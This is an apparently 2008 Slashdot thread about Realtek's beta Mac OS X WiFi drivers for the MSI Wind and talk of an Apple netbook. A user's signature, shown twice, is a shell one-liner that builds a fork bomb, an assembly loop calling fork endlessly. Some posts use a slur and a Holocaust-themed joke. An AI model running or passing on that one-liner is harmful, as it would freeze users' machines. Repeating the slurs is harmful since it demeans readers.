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Realtek's Wireless Driver Drives Thoughts of an Apple Netbook
Slatterz writes "With Macworld 2009 mere weeks away, one rumour that seemingly won't die is the idea of a Mac OS X Netbook PC. Asking a company to provide OS X drivers for their netbooks has, up until now, been met with silence, and probably a little quaking on the vendor side as they wait for the heavy footsteps of Apple's army of lawyers. It seems, however, that Realtek, who provide the WiFi chip found in the MSI Wind U100, are dipping their toes into the legally iffy world of the Hackintosh. Forum users at MSIWind.Net asked politely for drivers, and after a lot of patience,
Beta drivers were provided."
There is nothing in the Apple EULA that prevents anyone from creating a driver for their hardware to work with OS X. The fact that RealTek does not make -or may never make- hardware for Macs is immaterial.
Sig this!
Suddenly I think I will play with the Wind tonight.
I've had a wonderful time, but this wasn't it -- Groucho Marx
Doesn't OSX run on Darwin, An open source bsd based OS? Why would you not be allowed to create drivers for darwin?
Really, this is a non-story. RealTek makes GPL drivers for *nix, so I'm sure at some point it wasn't going to be really hard to make a driver for Darwin.
I'm also certain that RealTek makes chips that can be used in USB dongles (RaLink certainly does) so therefore it's a cheap way to provide connectivity to an older Mac which has USB but no wireless (I'm sure there are a few models still in production; I'm not a mac head).
So the realtek driver doesn't show up as an "airport" device; but as some other sort of connection. Does anybody know if this is just realtek being realtek(that is to say, painfully mediocre and not really adequate), or is "airportness" like CD-Burning support, something that is confined to Apple-shipping hardware by design?
As somebody mentioned, OSX's lower levels are largely open, at least enough to write drivers for; but that doesn't mean that the higher level polish stuff is. Anybody know?
While everyone is asking why this would be a legal problem, I can only assume that the writers of these articles are taking the view that if Realtek have produced these drivers as part of some future OSX-based netbook then they would probably be protected by some kind of NDA with Apple. Obviously if this rather unlikely scenario is assumed correct then Realtek would potentially be breeching said hypothetical NDA by providing the beta drivers to members of the public.
Or something like that anyway.
While this effort might be targeted at the MSI Wind, the work performed should allow any device that use the chipset to work with MacOS X. Think of PCI cards for MacPros, or USB sticks allowing older Macs to get 802.11N support.
Jumpstart the tartan drive.
OMG OMG OMG! Some company is actually writing drivers for Mac OS X! That's about bloody time! Everyone is wining on Apple to write drives for every thinkable gadget out there when it should be pretty obvious to ask the manufacturer of that gadget to do just that. Is this so hard?! It's not Apple's fault nor responsibility that MP3 player X doesn't integrate with iTunes, or cell phone Y with iSync, or video card Z.. or.. or..
- Henrik
- when the Shadows descend -
The driver is not specifically for the wind. That's the same chip used in cheap USB wireless adapters like this one and RealTek has been providing their OS X driver for some time. The driver and associated utility do not work very well, FWIW, and I don't suggest trying to use them with a Mac unless you really have no other option.
.sig: file not found
Because when you think about it that way it doesn't make for sensationalist flamebait articles on slashdot. Duh.
The only change I can believe in is what I find in my couch cushions.
We can barely understand your posts the incoherent ones.
A netbook should have the following characteristics:
1. Small (10" or less screen)
2. Long Battery Life (4 hrs +)
3. Light weight (under 2 kg)
4. Cheap (under $500 US).
Apple can do 1 and 2, and 3 but 4, I don't think so.
No, but they can convince people that netbooks are an unsustainable business model
http://theappleblog.com/2008/12/15/netbooks-the-race-to-the-bottom-has-begun/
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Realtek has been awesome at providing Mac drivers for years. xlr8yourmac.com has talked about this extensively. A lot of third party pci ethernet cardsbased on realtek chips were made to work via realtek drivers in the past. This goes back to before 2000 when OS 9 was the current Mac operating system. http://www.google.com/search?as_q=&num=10&btnG=Google%2BSearch&as_epq=&as_eq=&lr=&as_ft=i&as_filetype=&as_qdr=all&as_occt=&as_dt=i&as_sitesearch=www.xlr8yourmac.com&safe=off&as_oq=realtek
I saw someone make a comment, and I don't remember who or where, but I think it's insightful. Netbooks should be thought of more as larger, more capable PDA's/Smartphones, than they should as smaller, less capable computers. Given that premise, it would make sense to use a modified version of Apple's iPhone/iPod Touch OS with slightly expanded capabilities, instead of trying to get a stripped down Mac OS X to work well on a netbook.
I think Apple might find they *could* build a winning Netbook if they took that approach. Maybe they already are. Apple likes to deny they are doing something right up until they announce at WWDC.
That's not true. As one of the comments on the Apple Blog put it
wait a minute... on an iphone, can i...
view flash-based websites? nope ...edit any docs? nope
edit word docs? nope
copy/paste? nope
multi task? nope
install any application i want? nope
change my background? nope
delete all the icons on my desktop? nope
instant message across different networks? (even messaging on single networks suck) nope
video chat? nope
connect to bluetooth devices? nope
replace the battery? nope
You must be retarded if you think itâ(TM)s possible to do the same things on an iphone than on a netbook. I have an iphone, and while itâ(TM)s an excellent smart phone (despite its flaws), Iâ(TM)d shoot myself the day I had to rely on it as a computer. You must also think Iâ(TM)m stupid if you think I consider your post to be a legitimate response instead of a failed attempt at defending the un-defendable.
See that's the problem. An x86 PC with a desktop OS is a hell of a lot more flexible than a typical PDA or Smartphone.
Though I suppose Apple being Apple they could take an iPhone, take out the baseband ASIC and the crippling lockdown, add a larger screen and keyboard and sell it cheaper than the cheapest MacBook and their fanbase will say it is the best thing since sliced bread.
And since it's ARM based rather than x86 it won't run desktop applications and thus won't compete with the Macbook Air.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
If your iPhone has a hinge, I think you may just have been ripped off by an unscrupulous and rather lazy counterfeiter.
It's true, and thanks to Apple, we are spared the wrath of these genocidal monsters. Four pin firewire has led to the deaths of countless thousands while millions of others slowly starve in the death camps. Thankfully Apple put an end to these Pinochets-in-plastic when they built the new MacBook without the four-pin port. Remember, folks, first they came for the floppy drive, but I did not speak out, because I didn't like floppy disks at all. Then they came for USB 1.1 but I did not speak out because I'm actually fond of faster protocols. Now that they are coming for these Little Eichmanns I can only jump for joy. Apple macht frei!!!